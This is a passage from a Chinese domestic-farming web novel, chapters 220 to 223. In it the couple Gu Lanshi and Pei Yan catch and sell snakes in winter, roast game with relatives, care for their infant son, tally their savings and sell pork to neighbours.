说实话,顾兰时被刚才一番话弄得心里毛毛的,每次裴厌都会抓毒蛇回来,才好卖高价,毒蛇要是乱爬,确实害怕。不过再一想,裴厌向来谨慎,家里狗又都机警,夜里把院门一关,麻袋放在外头就好了。 寻常人,谁说话还没个错处呢,顾兰时没有在乎这个,张春花适时岔开话,说起别的事。 * 鸡屋,炕洞里闷了柴,炕上余温不散。 三十只母鸡一多半都窝在上面,地上的母鸡吃饱食后也扑腾飞上去,当初炕盘的矮,它们扇翅膀不用太费劲。 一进来顾兰时就往炕边走,把母鸡扒拉开,在稻草中找到七八枚鸡蛋。 屋里自然有味道,他拾完鸡蛋就拿了铁锨和粪篮子进来铲,比起外头,屋里也更暖和。 张春花和李月坐一会儿就走了,晌午不但要做饭,还得给顾满顾衡送饭去,白水村离得远,孩子跑回来吃饭的话慌里慌张的,有小孩会带干粮,晌午对付着吃一顿,私塾管热水。 苗秋莲心疼孙子,去年一上学堂就叮嘱张春花,不忙的话,一定要给她大孙子送热饭吃,冬天这么冷,只啃干粮馒头算怎么回事,他们家又不是穷得揭不开锅了,若真的忙不开,说一声她就去送了。 正忙着,顾兰时就听见哭声,连忙撇下手里的活,出来一边洗手一边喊:“来了来了,阿姆在。” 星星的哭声停了一下,显然听到了,但刚睡醒,奶娃娃也有一点脾气,没有等到人立即来抱他,哇一声又哭起来。 顾兰时笑了下,这小子,还会听声儿了。 星星还没学会干打雷不下雨,抱起他的时候,眼泪汪汪的,顾兰时笑着用手帕给儿子擦擦,一摸尿布,果真是湿的,他抽出来丢进地上的木盆,等裴厌回来再洗。 冬闲以后,家里的活有刘大鹅干,十天半月才往镇子和府城去一趟,裴厌明显闲了,有时候星星闹脾气,只让顾兰时抱,其他人谁都不行,换下来的脏尿布脏衣裳没人洗,他觉得放久了不妥,于是顺手就洗了。 顾兰时知道他和别的汉子不同,以前一个人住的时候,衣裳旧是旧,但很干净,洗衣做饭都会,也有这个意识,因此有时候自己懒得做的活,就偷摸摸甩给裴厌去干。 第220章 一连三天,裴厌都在山上找蛇洞挖蛇,头一天只找到三条没毒的,不怎么值钱,因此没有去镇上,用麻袋装了,随手丢在院门外面,也没给盖麦秸,结果一夜过去,晚上太冷,两条冻死了,余下那条也僵了。 第二天的时候,顾兰瑜闲着没事过来闲转,见他收拾东西要去山上抓毒蛇, 有些跃跃欲试,跟着一起去了。 他想的很好,冬天蛇即便盘在土洞里,天冷,再毒的蛇都僵了,游走肯定缓慢,手里带上铁锨,一锨拍下去,任什么毒蛇都扛不住,抓死的也好,带回家就不怕了。 谁知道土洞一挖开,真看见盘卷在一起的一堆蛇,只觉头皮都要炸了,各种花色不一的蛇聚集,土洞被挖开后蜿蜒游动起来,像是蠕动的一团,斑斓花色混在一起,越发可怖。 顾兰瑜腿都是软的,实在下不去手,然而裴厌上前,铁锨抡起来就照着蛇窝啪啪拍了好几下,那沉闷的动静,一听就知道力气不小,里头的蛇当头遭到重击,晕死过去不动了,他这才用木叉夹住,一条条挑出来。 以前顾兰瑜就挺佩服裴厌的,结了亲戚后,越发钦佩,这回一看抓毒蛇都面不改色,胆子也太大了,心道毒虫钱果然不是谁都能挣的。 裴厌要分他几条值钱的蛇,他连连摆手,没有真的要,虽然自己挖蛇洞出了一点力,但这玩意儿,还是算了,霜儿胆子小,竹哥儿也胆小,带回去非得尖叫冲上天。 等回去后,在门口碰见他爹,顾铁山以为他出去瞎逛了,问了一句,一听跟着裴厌上山挖蛇,顾铁山脸色都变了,连忙往他手里看,见没有蛇的踪影才放心,却也不敢和小儿子离得太近,直接轰去洗手。 顾兰瑜一边洗手一边心想,自己没有要蛇是对的,不然他爹估计要把他轰出家门了。 两个女儿嫁去了外村,只有顾兰时离得近,顾铁山有时候会跟着苗秋莲上后山看看外孙,一听今年又开始抓蛇了,两人好几天都没过去,谁知道那些蛇卖了没。 第三天晌午,裴厌下山进门,拎着的麻袋里明显有东西,他今天回来的挺早,没有耽误吃饭。 顾兰时正在灶房切菜,以为没有找到,在襜衣上擦擦手,他站在灶房门口正要说话,就看见明显有分量的麻袋,到嘴边的话也变了:“抓到了?” 大黑几个见惯了毒蛇,不再乱叫,但神色很警惕,一直盯着麻袋,灰仔还做出一副伏击的模样,随后一跃而起,明显是想吓唬麻袋里的东西,可惜蛇被装在里面,看不见它。 “五条,有两条是毒蛇。”裴厌笑着,又把放在地上的一只野兔拎起来,说:“正好碰到。” 他今年上山抓蛇,每次都带着弹弓和在河边捡的小石块,还真打到一只。 秋天那会儿太忙,再加上有钱能买肉吃,除了受蒋厨子和吴厨子之托,上山弄了几回兔子以外,都没给家里打野兔和山鸡。 顾兰时眼睛一下子亮了,往外走了几步:“还挺肥的。” “是。”见他又顿住,知道是害怕蛇,裴厌便走进来,先把兔子给他。 顾兰时抓着兔耳朵在手里,兔子已经死了,但不耽误吃,他喜笑颜开:“等会儿就杀了,晚饭时吃,正新鲜呢。” 他看一眼兔子,抬眼又问:“你想炖着吃还是炒着吃?” 裴厌想了一下,说:“要不烤着吃。” “烤?”顾兰时有点惊讶。 裴厌笑一下,说:“以前在外面,路上没吃的,运气好的话就打一只烤着吃,那时候有把盐撒上去就挺香的,许久没吃过了。” 顾兰时点点头:“行,那你来烤,我在旁边看着,学学。” 他没出过远门,从小到大每一顿饭都是灶上做好的,从未在外头风餐露宿过,烤鱼倒是和狗儿竹哥儿弄过几次,闹着玩儿而已,没当成正经饭,烤兔子就更没做过了。 吃过饭后,趁天好,裴厌赶车去镇上卖蛇,不然再放一晚的话,顾兰时夜里睡觉都不踏实。 除了第一天的蛇冻死了,昨天的蛇装在麻袋里,上面覆了土还有麦秸,厚厚盖了一层,除了失手拍死的,其他蛇行动僵滞,但都活着。 等裴厌回来,顾兰时手里就多了二十两银子。 * 火盆笼起火,裴厌在院里弄了个木架,两根带丫杈的木棍插在地里,中间横架一根削好洗净的树枝。 隔了四五步远,星星躺在摇篮里,襁褓裹得严实,他过去打开盖在孩子脸上的一角,见星星很乖,没有哭闹,这才放心。 大黑三个都围过来,瞅一眼火盆和烤架,又摇着尾巴蹭摇篮。 顾兰时端着木盆过来,里面的兔子是腌好的,之前裴厌给酒馆送野兔,蒋厨子提过一嘴,因此今天杀好兔子后,就倒了点酒和料腌了一阵。 裴厌很熟练,不一会儿就把整只兔子穿在树枝上,还用一些细竹签子横扎进肉里穿住,这样更稳一点,不怕突然掉下去。 嗅到肉味,灰灰和灰仔呜呜呜叫着,孩子也不看了,在旁边低嚎,时不时舔舔嘴巴。 刘大鹅在柴堆那边劈细柴,他看一眼那边的架势,不禁想起自己以前也抓过兔子烤,但没盐没辣子粉,只是胡乱填饱肚子,吃完就赶紧去干活,哪像这样有闲情逸致慢慢翻烤。 顾兰时在旁边帮着加柴火,一不小心添的多了,火舌燎上去,他连忙又抽出两根细柴。 裴厌笑笑没说话,伸手在油碗里蘸了下,他也不怕烫,快速用指腹将油涂抹在兔肉上,这也是蒋厨子提到过的,想兔子烤的好了,得抹点油上去,更香一些,而且也不容易焦黑。 渐渐地,外头那一层变得焦黄,裴厌不紧不慢,继续翻动,肉食得熟透了才能吃。 顾兰时一会儿起身过去看看孩子,一会儿又过来看裴厌怎么烤,他干惯了灶上的活,觉得不是很难,和烤鱼差不多,翻翻转转,有耐心和细心就好,到后面便上了手。 等到兔肉烤熟,灰灰和灰仔哈喇子流了好些,在旁边直勾勾盯着看。 肉味出来了,顾兰时咽咽口水,裴厌给他碗里撕了一条兔腿,上面有辣子粉,他迫不及待拿起来,连筷子都顾不得,吹一吹就撕咬下一口外酥里嫩的兔肉,辣香十足。 裴厌没有急着吃,给另一个碗里撕了一条兔腿,又拽下几块肉:“刘哥,尝尝。” 刘大鹅诚惶诚恐,接过碗到一旁去吃了。 “烫。”顾兰时又把兔腿丢回碗里,吹了吹手指,咽下嘴里的肉后,说:“好吃,外头带点酥脆,里头的肉新鲜又嫩。” 他毫不吝啬夸赞,拿起又咬一口。 “那就多吃点。”裴厌笑笑,又给他撕了一个兔腿放进碗里,自己则把最后一个兔腿吃了。 “嗷——”灰仔急得跳起来。 这回换顾兰时狼吞虎咽,都顾不上看它,偶尔吃个新鲜的,哪能不馋,更何况天冷,得趁热吃,不然就凉了。 顾兰时舔了下手指沾到的辣子粉和油脂,说出今日饭后的收场话:“要是再打到,咱们还烤着吃。” “行。”裴厌一口答应,总之冬闲,白天天好的时候去山上转转,打到就有口福了。 他起身收拾东西,问道:“烤鸟呢,吃不吃?鸡也能烤着吃,老母鸡明年不是要卖,过几天先杀一只。” 顾兰时给狗分了骨头和一点残余的肉,闻言乐滋滋的,点头道:“好好,都尝尝,要是山雀多打两三只,把阿奶和爹娘都喊来,就当玩耍了。” “成,到时我多打几只。”裴厌应道,他弹弓向来打得准,不觉得是件难事,很快心里有了盘算,得挑那种蓝尾羽的大山雀打,肉多一点,而且大山雀山里很多,也方便寻找。 * 想着顾家人多,裴厌打山雀是用竹筐背下来的,十几只呢,足够岳丈舅哥都来新鲜新鲜。 正碰上顾满和顾衡休旬假,孩子一多,又是跑又是跳的,时不时还响起尖叫声。 星星倒是大胆,听见这些动静没有害怕,就是缠着顾兰时,不让别人抱,不然就瘪嘴哇哇大哭。 堂弟顾兰兴也跑来凑热闹,他和裴厌挺熟的,丝毫不见外,和堂侄儿也熟悉,一边烤山雀还一边撺掇顾满顾衡背背书。 顾满昂着脑袋,张口就背了一首诗,顾衡今年才上学堂,捡着会背的糊弄了一下大人,转头就催他爹快烤熟。 而家养的肥母鸡明显更香,吃过一回后两厢一对比,顾兰时对烤鸟没什么兴趣了,肉也就拳头大一点,烤完有点干巴,没什么油水。 方红花吃了一回烤鸡,喜滋滋跟老太太老夫郎去讲,听馋了不少人。 许永安家富裕,他老娘杜彩娥听说了,回家吵着要烤一只鸡吃,许永安媳妇怕糟蹋了老母鸡,只得来问顾兰时,他是怎么烤的。 一听杜阿婆吵嚷,顾兰时就知道他阿奶跟人家炫耀过了,无奈又好笑,便仔细交代了一番。 因许永安媳妇年纪大,和顾兰时娘是一辈的人,裴厌在旁边听着,还补了两句,不像见了年轻媳妇夫郎那样退避。 许永安媳妇头一次和活阎王打交道,不想竟这样和气,心里不免有些疑惑和嘀咕。 她是粗俗人,一时竟只能想起知人知面不知心这句,又觉得不对劲,哪有这样的说法,回去的路上自个儿还把自个儿难住了。 旁人怎么想的,顾兰时不在意,他向来温和,裴厌也很少和村里人起冲突,还收鸡鸭收鸡蛋,不知不觉间,来后山的人变多了。 220-240 第221章 流岁无声,再次踏入年末腊月。 冬闲人也懒,顾兰时慢腾腾从被窝里坐起,发一下呆才伸手从被窝里掏出衣裳,系好腰间的小汗巾,看一眼睡得正香的星星,伸手探了探孩子身下的炕温,褥子依旧温热。 他抽回手,见星星动了动,但没醒来,这才下炕,拿起搭在小竹屏上的外衫穿好。 竹屏风是裴厌闲着没事做的,没啥手艺,就是把合适的竹子锯断连接,顶上豁口又用一节节竹子横挡,合拢展开都方便。 有孩子了,就算星星还小,在屋角洗澡时,有个小竹屏遮挡住浴桶才是道理。 头发束好后,顾兰时打水盥洗,天已经大亮了,听到后院的动静,应该是刘大鹅在猪圈驴棚铲粪,已经这会儿,想必都喂过了。 裴厌提着铁锨从院门外进来,说:“锅里有甜梨汤,热了几个包子,肉的素的都有。” “好。”顾兰时答应着,没有立即去吃,刚醒不是很饿。 正好洗脸水还没倒,热乎着,裴厌蹲下一边洗手一边说:“我和刘哥吃过了,趁早上没事,先把猪拉去卖了。” “行,回来记得给我买四色绣线,朱红、金黄、深绿还有石蓝,你要不懂,同针线铺子的人说一声,他们就知道。” 顾兰时拿起鸡毛掸子扫桌椅:“半个月了,没见货郎过来,肚兜做了一半,就没彩线了。” “好,我知道了。”裴厌认真记下。 这是给星星做肚兜,彩艳明亮一点才好看,之前买了布匹,顾兰时以为绣线还多,就没让裴厌捎带买。 “今天还是和刘哥一起去?”顾兰时问道。 “不了,我一个人就行。”裴厌起身擦干手,说:“前天过去,路上已经大干了,昨儿又晒了一天,不用他去了。” 前段时间又下过雪,因府城生猪价涨了,十三文,趁着价钱好,隔一天两天就拉一头猪过去,到今天已经卖了六头,加上之前卖的,八头肥猪都出去了,家里要喂的肥猪一下子变少,只剩四头了。 顾兰时点点头,扫完那一点看不见的灰尘,倒了半碗热茶,抿一口说:“等下把摇椅给我搬进屋里。” “嗯。”裴厌没有等一下,直接过来,把摇椅搬进东屋。 星星听见动静,不满地哼唧两声,他俩立即放轻脚步和声音。 轻手轻脚出去,顾兰时笑着问道:“除了老母猪和咱们吃的那头年猪,还有两头,什么时候卖?” 裴厌把自己茶碗里凉了的茶水掺热,说:“年节后再卖,看看那时候的价钱如何。” 之前花成方说过,试一试也无妨。 喝过茶水,顾兰时舀了梨汤端了包子在堂屋吃,裴厌和刘大鹅在后院抓猪捆上车。 裴厌带了竹篮牵车出门后,刘大鹅挠挠头,柴火劈了很多,不但外面有,柴房也垒了一堆,牲禽喂过,粪也都铲了。 他想了一下,见太阳已经出来,又没风,干脆提了凳子放在院门外的土墙根下,抱了一堆削好的竹篾出来,坐在墙根下编竹匾。 竹筐竹匾用处多,闲了就编几个,真到用的时候,就不怕不够使。 顾兰时吃完洗了锅碗,又切了个乳果倒进碗里备下,进屋子偷偷看一眼,不想正和已经睁开的大眼睛对上,他脸上不自觉露出笑容。 “醒啦。”他单腿跪在炕沿,身子往前倾抱起星星,笑眯眯说:“今天可真乖,醒来都没哭。” 再有六天,星星就满三个月了,比起刚生下时,明显长大长胖了,小脸蛋子肉乎乎的,换衣裳时动着肥嘟嘟的小胳膊小腿,直叫人欢喜。 星星揉着眼睛撒尿,表情懵懵的,直到尿完后,顾兰时两手将他抱高一点,他才笑了。 玩了一会儿,顾兰时把星星放在摇篮里,出去很快热了乳果。 吃完后,他拿起八角风车吹,纸风车转起来,星星看得目不转睛,时不时笑一下,太高兴时小腿也会蹬动,还挺有劲的。 吹累了,顾兰时抱着儿子在摇椅躺下,嘴里哼着小时候听来的山歌调子。 星星趴在他胸口,一大一小随着摇椅轻轻晃动,山歌调子吸引了孩子的注意,一双大眼睛黑而明亮,盯着他看,顾兰时一下子笑了。 * 赶在晌午饭时,裴厌从府城回来了,不但买了绣线,还买了南边来的橘子和一个小铁锅。 他把炒瓢放在泥炉上,见挺稳当的,笑道:“正合适。” 顾兰时提起竹篮,看一眼最上面的四色绣线,颜色都对着,见底下有圆滚滚的黄橘子,拿起一个在手里,抬眼见他在试小铁锅,笑问:“怎么想起买这个?” 裴厌又把陶罐放上泥炉口,说:“早上煮甜梨汤,大锅太大了,咱们人又不多,也就三四碗的量,正好路过铁匠铺子,铁匠在门口支了张长桌,由大到小摆了一溜儿锅具。” “我瞧着这个好,像煮梨汤就很好用,握着木把端起来,锅底的汤好倒出来,铁锅那么大,还得用大勺不断刮。” 顾兰时从他手里接过,铁铸的东西,还是有点分量的,木把挺稳固,想起什么:“煮米酒也好。” 和米汤稠粥不一样,米酒不用熬,滚开烧一会儿就好。 裴厌点点头:“嗯,炒菜什么都能做,就是火肯定没有大锅猛。” 他伸手从竹篮拿了一个橘子,剥开分给顾兰时一半。 橘子瓣只有一层很薄的皮和白络,塞进嘴里咬下去,那叫一个汁水充沛,独有的一点橘酸混在甜汁里,瞬间溢满唇齿。 半篮橘子有十来个,裴厌分了刘大鹅一个。 顾兰时提着竹篮进屋,问道:“炒瓢多钱?” 裴厌后脚跟进来,从怀里掏荷包,说:“一百八十文。” 比大锅便宜,顾兰时点点头,把绣线放进针线篮子里,随后坐在炕沿,看裴厌把荷包里的碎银子和铜板倒出来。 “饭都做好了。”他低头拿起银块。 “嗯。”裴厌开口道:“猪卖了二两二钱,零头三十六文。” “绣线花了一百六十文,橘子七十文,走时不是带了两串钱,碎银子没动,还余二十六文。” 账目很清楚,顾兰时就没有数那几个铜板:“收起来,先吃饭。” “好。”裴厌起身,看一眼炕上睡着了的儿子,早上走时星星没醒,回来又睡了。 外头没风,刘大鹅拎了个凳子,像以往一样坐在屋檐下边晒太阳边吃饭,菜碗直接放在地上。 裴厌和顾兰时见惯了,他既然自在,两人就没多事。 堂屋,顾兰时端起米饭碗,桌上两样菜都不错,一道木耳炒肉片一道酱焖扁豆,扁豆是晒的干子,泡发就能吃,用酱汁闷了,味道重一点好下饭。 裴厌吃了一半后,不再着急了,说:“改天多挖点冬笋,和鸡蛋一起拉去花二哥那边,价钱也不错。” “行。”顾兰时应一声,把扁豆碗端起来,给自己饭碗里倒了一些酱汁,拌一拌后,米粒颜色变重,吃起来也很香。 饭后照例是刘大鹅煮猪食,不用他俩忙。 星星尿湿尿布和裤子哭着醒来,顾兰时给换了以后,裴厌抱着儿子哄。 比起别的汉子,他抱孩子哄孩子明显要多,谁看见都知道他很稀罕儿子。 常常被抱着,星星对爹爹也很熟悉,习惯性用肉脸颊蹭着裴厌侧脸,想撒娇歪脑袋,不想突然挪远了一点,盯着他看。 裴厌和儿子对视一眼,沉默一会儿后才明白,抬手摸摸自己下颌,青胡茬上来了,也就今天早起没刮,摸着粗糙。 孩子脸蛋皮肉太嫩,自然不愿挨靠,他又不想放下儿子,于是大手在星星后背拍拍,让星星脸蛋靠在他脖颈那里。 顾兰时坐在炕沿,低头给星星剪大一圈的小鞋样子,没看见他父子俩之间的风云变化。 鞋样子剪起来快,这是给明年备的,没事的时候做几针,慢慢就出来了。 箱子里已经有一双漂亮的小鞋子,较大一点,打算过年时给星星穿,到时候所有人都能看见他们星星的新鞋子。 剪完后,他把针剪又收回篮子,抬头见裴厌抱着星星在房里走动,一边到炕尾开箱子一边说:“我数数钱。” 裴厌笑笑,没有阻止他。 顾兰时把几个钱袋都掏出来,最沉的那个也拿出来,里头没有铜板碰撞的动静,隔着布袋突出的轮廓,分明能看出全是大大小小的银子。 他打开袋口,每看一次就乐不可支,里头是整整一百两碎银,沉甸甸的,是让人做梦都能笑醒的重量,恨不得搂着睡。 裴厌上山抓了三次蛇,一共卖了四十八两,补了二两后,就倒进他俩去年攒的五十两之中。 顾兰时从肺腑里叹出一口满足的气息,他没有把一百两倒出来,放在腿边,转而去摸另外的钱袋。 “这正好是十五两。”他打开其中一个麻布钱袋,倒在炕桌上,这是平时攒下的,还有之前的两头猪钱,又花了些,把零头取掉,凑了个整数。 另一个黑布钱袋则是最近的卖猪钱,算上今天的二两二钱,有十四两多,还有上个月卖鸡蛋的五两八钱。 顾兰时拿了戥子来称碎银,卖猪钱和鸡蛋钱一共二十两一钱。 他算了算,说:“两个钱袋共有三十五两一钱,要不,把五两一钱拿出来,放在外面花。” 裴厌提醒道:“三十两分二十两出来,买田用。” 顾兰时称的分成十两一小堆,闻言用手将两堆碎银拨到一起,打开麻布钱袋口,拨拉到里面。 五两一钱放在旁边,箱子里还有一些铜板,就足够平时的吃用了。 炕桌上余下的十两,便又能积攒起来。 第222章 腊月初三,时近岁尾,再过两天就要忙了。 清早,顾兰时迷迷瞪瞪听见孩子的咿呀声,他睡眼朦胧,翻个身伸手去拍,不想星星咿咿声不断,显然彻底醒了。 他再次睁开眼,就看见星星把手含在嘴里自己玩耍,没一会儿肉肉的手指头上就全是口水。 顾兰时伸手摸索,抓到了枕边的手帕,给星星擦干净手后,又去摸他尿布,见还干着,便放心躺回去,不知不觉又合上眼睛。 昨晚趁孩子睡着以后,裴厌起了兴致,折腾了半个时辰。 即便远比以前克制,夜里睡得还算踏实,但顾兰时不想起,又赖了床。 他一边睡一边模模糊糊给自己找借口,冬闲嘛,不睡觉做什么,老的少的,不少人都睡懒觉呢。 星星今天很乖,醒来不哭不闹,也没要乳果吃,大眼睛睁着,窗外亮了以后,他转头对着有光的那面,时而咿呀两声。 裴厌掀开门帘进来,就看见眼睛睁得咕噜转的儿子,反倒是顾兰时,睡得正香。 他合上房门,笑着弯腰去抱星星,胳膊带手从顾兰时上方掠过。 顾兰时睁开一只眼睛,见是他,翻个身又睡了。 裴厌取下星星的尿布,见小屁股肉乎乎没有发红,他放了心,抱着儿子吹口哨让撒尿,尿完后又给包上尿布,说:“不起?” 顾兰时过了一会儿才开口:“不想起,我懒。” 他如此理直气壮,裴厌笑了笑,说:“行,那就多睡儿,我刚用炒瓢在泥炉上煮了米酒,给你留了碗,你要不起的话,我把瓢拿下来,你起了再热热就行。” “好。”顾兰时声音依旧带着困倦。 带孩子不是件容易事,常常要换洗,一天要喂好几次乳果,有时半夜都不得歇,不舒服的时候大人时时刻刻都得操心,尤其顾兰时,星星一旦哭闹,其他人都不让抱,单只缠着顾兰时。 家里的活不忙,甚至做饭都不用顾兰时,也没长辈训斥,裴厌对赖床不干活的事从不在意,累了就睡饿了就吃,人活着不就为这两样。 清早外面冷,怕儿子饿了,裴厌把星星放在顾兰时旁边,说一声自己出去热了乳果,端进来后自己抱着星星喂,十分娴熟。 过了两刻钟,他给星星摇拨浪鼓,见顾兰时醒了,说:“明天初四,喊屠户来杀猪,初五就要忙了。” 腊月初五是五豆节,那天要熬五豆粥吃,吃两天就到腊八了。 顾兰时一想,还真是,明天恰好是个空子。 裴厌又说:“等太阳出来,没那么冷了,我让刘哥去山上挖冬笋,明天正好做菜。” 杀猪总要做一顿丰盛的肉菜,冬笋是这时节为数不多的鲜蔬,无论清炒还是烧肉,都有一番滋味。 “行。”顾兰时坐起穿衣裳。 星星对拨浪鼓不感兴趣,甚至试图用小手挠耳朵,可能是觉得吵了。 裴厌放下,单手抱孩子,另一手倒了碗热茶,喝两口又道:“等初九,我再和刘哥一起,去山上多挖几筐冬笋,初十拉去镇上和府城,上回吴叔说要一些,我再给蒋厨子那边送一点,府城的酒楼跑一跑,说不定也收。” “嗯。”顾兰时伸个懒腰,这才觉得舒坦了点,见星星看他,他露出个笑,拍了拍手。 星星呀呀奶音,小胳膊伸的长长的,显然想让阿姆抱。 裴厌只得往炕边走。 顾兰时塞了个软枕在身后靠着,抱着儿子玩起来。 * 泥炉里的火旺盛,很快,瓢里的米酒煮滚了。 顾兰时握着木把端起,倒进碗里,果然比大锅轻便。 他一边吃早食,一边轻轻摇两下旁边的摇篮,星星躺在里头,大眼睛盯着插在摇篮上缓缓转动的八角风车。 “去府城的话再给星星买两个风车,这个沾了点水又晒过,颜色都褪了,也修过,这回买的话,记得买两个不一样的色。” 之前顾安几个来玩耍,还有两个堂侄儿侄女,侄女们都挺乖的,侄儿就调皮多了,看见风车吵着要耍,顾兰时就给了他们,一个两个手举着风车奔跑,八角风车就呼啦啦转起来。 孩子一多,不免会有磕碰,两个抢起来,不小心把风车掉在地上,恰好地上又有水迹,沾湿了。 虽然是给星星买的,但不是什么贵重东西,况且星星也不会玩,顾兰时没放在心上,晒干就行了,纸糊做的东西,本来就容易坏。 院子里,裴厌在劈柴,长斧头抡起,带着风声劈下,一根结实的木头瞬间成了两半。 “行,知道了。”裴厌答应着,弯腰把劈开的两半柴火放好,再次抡起斧头。 刘大鹅不在,带了家伙什上山挖竹笋去了,他出门时被灰灰看见,灰灰想出去撒欢,就跟上了,一边走一边摇尾巴还一边回头看。 裴厌瞅见它那副样子,也没拘着,叮嘱刘大鹅看着点儿狗,别让跑远,就由它去了。 灰仔一看灰灰跑了,十分着急,叫着就撵了上去。 知道它俩贪玩,顾兰时也没喊,说起来都好几岁了,始终不见稳重,还像小狗崽那样。 大黑在晒太阳,对玩不玩的,它看起来丝毫不在意。 长斧头劈柴很轻松,裴厌干了一会儿,说:“最近村里没卖地的人,改天我去清水村打听打听。” 他们和清水村是邻村,田地有挨在一起的,要是上那边买,也不会离太远。 正说着,篱笆门前来了人,顾兰时打眼一看,却是徐启儿领着徐瑞儿,手里拎了包东西。 “裴厌哥哥。”徐启儿对着他依旧敬畏,再抬头喊顾兰时的时候,明显放松了一些。 顾兰时接过他手里的东西,笑:“快进来,什么时候回来的?” 徐启儿边坐边说:“今早,兰时哥哥,这是桂花糕,我昨天跟着东家去了趟镇上搬货,今儿没事,回来看看。” 顾兰时给他俩端了杏脯出来,裴厌也来陪客,给几人都倒了茶水。 以前来是来,但没和裴厌坐一起喝茶,今日突然如此隆重,倒叫徐启儿有点不安。 裴厌没多想,徐启儿年纪小了点,但和他们是一辈的。 说几句闲话,多半是顾兰时在聊,徐瑞儿坐在椅子上,还直起腰昂着脑袋去看摇篮里的奶娃娃。 见状,顾兰时笑着喊他走过来。 摇篮边上多了个人,星星抬眼看过去,不认识,眼珠又转向别处。 “眼睛真大。”徐瑞儿有点惊讶。 顾兰时笑:“可不是。” 徐启儿也很好奇,同样看了眼,他之前就知道裴厌有了儿子,不想娃娃长得这么漂亮。 “对了启儿,之前我就想找你,你又不常在家,今儿正好来了。”顾兰时摇一下摇篮,说:“原先不是还剩了五钱碎银,我想着,放的也久了,今年你没来要过,手里应该有。” “如今你也大了,徐明子不敢乱来,这钱,要不你带回去,藏好了,别乱花。” 顾兰时又玩笑道:“要记得攒老婆本,以后好娶媳妇。” 徐启儿被他说得一窘,讷讷只胡乱点头,娶媳妇的事,还早呢,他虽然做过打算,可那是在心里琢磨,被人抬上面来,年纪小脸皮也薄,都不会接话了。 顾兰时笑了声,给裴厌递个眼神,裴厌起身就去屋里拿钱了。 徐启儿过了年就到十五岁,确实大了,又是个小子,弟弟同样,再怎么穷,那点微薄的家业肯定是他俩的,徐家人动不了。 顾兰时和裴厌前两天还在想,今年过冬没来要钱,想必是有工钱撑着,日子过得去,徐启儿既然能把工钱攥在手里,那之前的碎银,肯定也能守住了。 “五钱。”裴厌把五小块碎银递过去。 徐启儿诚惶诚恐接过,小心翼翼揣进怀里,他今天过来只是送点心,顾兰时和裴厌很照顾他和弟弟,他很感激,这桂花糕瑞儿很馋,但他没给弟弟吃,全提过来了。 之前徐瑞儿挨打,裴厌解决了这事,他一直记在心里,那一阵子,都不知道要怎么谢这两人好。 而说得不好听点儿,就是巴结着,也得来转转。 和他一起做工的陈哥听他说了家里的事以后,提点过两句,他俩年幼,丧母又丧父,没个庇佑,既然有能攀扯上的厉害交情,还不赶紧多来往来往。 徐启儿心中转过不少念头,但更多的,还是感激。 徐瑞儿没忍住,在顾兰时给他杏脯的时候抓了一把,迫不及待往嘴里塞了两个,在舅舅家的时候他吃过一次,酸酸甜甜,实在是好吃。 “什么时候走?”顾兰时又把杏脯碟子往徐启儿那边推:“吃点儿,尝尝。” 徐启儿自觉是大人了,已经十五岁,有些人成亲早,便是这个年纪,他不能像弟弟那样到了别人家嘴馋,客气地推拒,说:“下午就走。” 顾兰时点点头,长工就是这样,回来在家待不了多久,幸好如今干顺了,以后每个月都有工钱拿,不怕活不下去。 怕弟弟嘴馋现眼,吃了又吃讨人嫌,徐启儿没坐多久,又带徐瑞儿走了。 一出门,徐瑞儿手里还有刚才顾兰时给他抓的一大把杏脯,他用衣裳兜着,眼巴巴看着,刚才吃得香,这会儿又怕吃完没了。 脚下一踉跄,差点被土疙瘩绊倒。他连忙稳住,攥着衣裳的手始终紧紧的,生怕把杏脯掉了。 徐启儿再疼弟弟,还是忍不住骂道:“出息些!走路看路,只顾着吃。” 杏脯价钱不低呢,吃几个就行了,哪儿敢拿这么多,可顾兰时硬塞,两人无法拒绝。 徐启儿原本是想早早走,谁想杏脯还是到了弟弟手里。 第223章 剁掉笋根,再划一刀,剥掉外面的笋衣,鲜白脆嫩的笋子露出来,拳头大小,不一会儿竹匾上就放了五个。 半上午的太阳已经有了暖意,灶房门口,顾兰时端起竹匾进去,咚咚咚将之切成片。 趁这会儿孩子没醒,早点把菜备下,到时辰倒进锅里炒就行。 今儿初六,星星三个月了,饭得做好点。 有了星星以后,什么都得先紧着孩子来,不是他抱就是裴厌抱,偶尔方红花和竹哥儿来串门子,还能帮着看一会儿,多数时候,他在哪里干活,孩子和摇篮就在哪里。裴厌多干的是粗活重活,不适合把孩子带在旁边。 星星这两天会翻身了,奶乎乎的小胖墩子力气还不小,努着劲儿就能翻过身趴在炕上,不过还不是很熟练,有时候得靠顾兰时帮一把。 孩子小,放在炕上不会乱爬掉下去,可不在眼前看着,心里始终放心不下。 切完笋片,顾兰时在襜衣上擦擦手,匆匆进屋看一眼,见星星没动静,这才轻轻合上房门。 走到院里一抬眼,就看见篱笆门前两个人影探头探脑的,狗机警地竖起耳朵,没等叫出声,顾兰时一边往外走一边喊:“婶子,进来吧。” 大黑几个没有乱叫,跟在他后面。 “婶子,老嬷,过来了。”顾兰时笑着迎上去。 林老七媳妇看见大狗上前,明显有点害怕,顾兰时轻喝道:“去。” 灰灰和灰仔停下,没有去嗅闻,往旁边走开了。 林老七媳妇松一口气,她没别的话说,笑道:“嗨呀,这狗真听话。” 不等顾兰时询问,她又道:“听你娘说,家里有肉?” 顾兰时点点头,笑着说:“有呢,婶子老嬷进来看。” 许永贵家老夫郎沿着石子路走,边走边看:“怪不得篱笆墙那么宽那么长呢,菜地可真大。” “就是。”林老七媳妇也很羡慕。 顾兰时笑笑没言语,带着两人进灶房,灶房北边靠墙处放了张结实的长桌,用干净布盖了,他掀开让两人看肉。 桌面上码着大块小块的肉,骨头也排好了,瞧着就利落干净。 “夜里冷,冻梆了,也就这会子太阳出来,缓了缓,婶子、老嬷,只管挑。”顾兰时笑道。 鲜肉时他和裴厌一齐上手,按部位把肉块割好切开了,一斤两斤的都有,方便吃取,不想今年来买肉的人竟然挺多,正好也方便人家挑。 林老七媳妇挑了一条五花,许家老夫郎要了一块便宜一点的瘦肉,顾兰时给他俩称好,秤杆高高的,两人看在眼里,都抿着嘴笑,谁不乐意占点便宜呢。 自家卖肉,来买的都是村里人,价钱自然比镇上低。 林老七媳妇和许家老夫郎走之后,顾兰时把手里的铜板哗啦啦放进钱碗里,前天杀的猪,到今天都来十几个人买了,想起去年唯一的李保儿,他忍不住笑了下。 他和裴厌倒是没在乎这些,不过去年那头猪,除了送亲戚以外,他俩确实吃了好一段时日,得亏天冷,不然就放坏了。 